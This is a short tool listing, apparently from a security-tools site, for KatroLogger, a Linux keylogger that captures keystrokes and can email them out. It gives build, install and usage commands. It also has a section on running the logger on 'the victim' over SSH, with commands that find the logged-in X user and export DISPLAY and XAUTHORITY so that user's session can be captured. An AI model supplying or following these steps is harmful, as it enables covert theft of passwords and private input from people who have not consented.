Exploitation Tools

KatroLogger – KeyLogger For Linux Systems

KatroLogger - KeyLogger For Linux Systems

[sc name=”ad_1″]

KeyLogger for Linux Systems.

  • Features
    • Runs on GUI systems or CLI
    • Sending data by email
  • Dependencies
    • curl
    • libx11-dev (Debian-Based)
    • libX11-devel (RHEL-Based)
  • Compiling
# ./configure
# make
# make install
  • Usage
# katrologger --output /path/file

Send data by e-mail:

# katrologger --smtp-help

 

  • Fixing problems accessing via SSH

when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.

For hosts with xorg running:

identifying logged in user

# user=$(who | grep "(:0)" | awk '{print $1}')
# echo $user

Exporting variables

# export DISPLAY=:0.0
# export XAUTHORITY=/home/$user/.Xauthority
  • Uninstall
make uninstall


[sc name=”ad-in-article”]